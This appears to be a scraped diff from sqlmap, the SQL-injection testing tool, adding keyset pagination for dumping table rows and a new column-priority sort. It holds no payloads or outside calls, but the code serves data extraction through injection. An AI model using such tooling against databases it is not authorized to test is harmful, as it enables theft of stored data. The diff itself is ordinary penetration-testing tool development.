||||
entries = {}
|
||||
|
||||
for column in colList:
|
||||
lengths[column] = 0
|
||||
entries[column] = BigArray()
|
||||
|
||||
if len(cursor) == 1:
|
||||
_dumpSingle(tbl, colList, count, cursor[0], tableRef, entries, lengths)
|
||||
else:
|
||||
_dumpComposite(tbl, colList, count, cursor, tableRef, entries, lengths)
|
||||
|
||||
debugMsg = "keyset pagination retrieved %d row(s) for table '%s'" % (len(entries[colList[0]]) if colList and colList[0] in entries else 0, unsafeSQLIdentificatorNaming(tbl))
|
||||
logger.debug(debugMsg)
|
||||
|
||||
return entries, lengths
|
||||
|
|
@ -14,6 +14,7 @@ from lib.core.common import filterNone
|
|||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import isNoneValue
|
||||
from lib.core.common import isNumPosStrValue
|
||||
from lib.core.common import prioritySortColumns
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||
|
|
@ -29,7 +30,6 @@ from lib.core.enums import CHARSET_TYPE
|
|||
from lib.core.enums import EXPECTED
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.settings import MAX_INT
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import SINGLE_QUOTE_MARKER
|
||||
from lib.core.unescaper import unescaper
|
||||
|
|
@ -71,7 +71,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
|
|||
lengths[column] = 0
|
||||
entries[column] = BigArray()
|
||||
|
||||
colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT))
|
||||
colList = prioritySortColumns(filterNone(colList))
|
||||
|
||||
if conf.pivotColumn:
|
||||
for _ in colList:
|
||||
|
|
|
|||
|
|
@ -42,12 +42,15 @@ from lib.core.exception import SqlmapNoneDataException
|
|||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
|
||||
from lib.core.settings import CURRENT_DB
|
||||
from lib.core.settings import KEYSET_MIN_ROWS
|
||||
from lib.core.settings import METADB_SUFFIX
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PLUS_ONE_DBMSES
|
||||
from lib.core.settings import UPPER_CASE_DBMSES
|
||||
from lib.request import inject
|
||||
from lib.utils.hash import attackDumpedTable
|
||||
from lib.utils.keysetdump import keysetDumpTable
|
||||
from lib.utils.keysetdump import resolveKeysetCursor
|
||||
from lib.utils.pivotdumptable import pivotDumpTable
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import zip as _zip
|
||||
|
|
@ -309,6 +312,9 @@ class Entries(object):
|
|||
|
||||
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
|
||||
# keyset (seek) pagination: forced with --keyset, automatic for large tables, off with --no-keyset
|
||||
keysetCursor = resolveKeysetCursor(tbl, colList) if (not conf.noKeyset and isNumPosStrValue(count) and (conf.keyset or int(count) >= KEYSET_MIN_ROWS)) else None
|
||||
|
||||
lengths = {}
|
||||
entries = {}
|
||||
|
||||
|
|
@ -332,6 +338,19 @@ class Entries(object):
|
|||
|
||||
continue
|
||||
|
||||
elif keysetCursor:
|
||||
infoMsg = "using keyset (seek) pagination on column(s) '%s' " % ', '.join(keysetCursor)
|
||||
infoMsg += "for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
entries, lengths = keysetDumpTable(tbl, colList, count, keysetCursor)
|
||||
except KeyboardInterrupt:
|
||||
kb.dumpKeyboardInterrupt = True
|
||||
clearConsoleLine()
|
||||
warnMsg = "Ctrl+C detected in dumping phase"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA):
|
||||
table = tbl
|
||||
|
|
@ -411,17 +430,17 @@ class Entries(object):
|
|||
entries[column] = BigArray()
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index)
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0])
|
||||
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
|
||||
else:
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue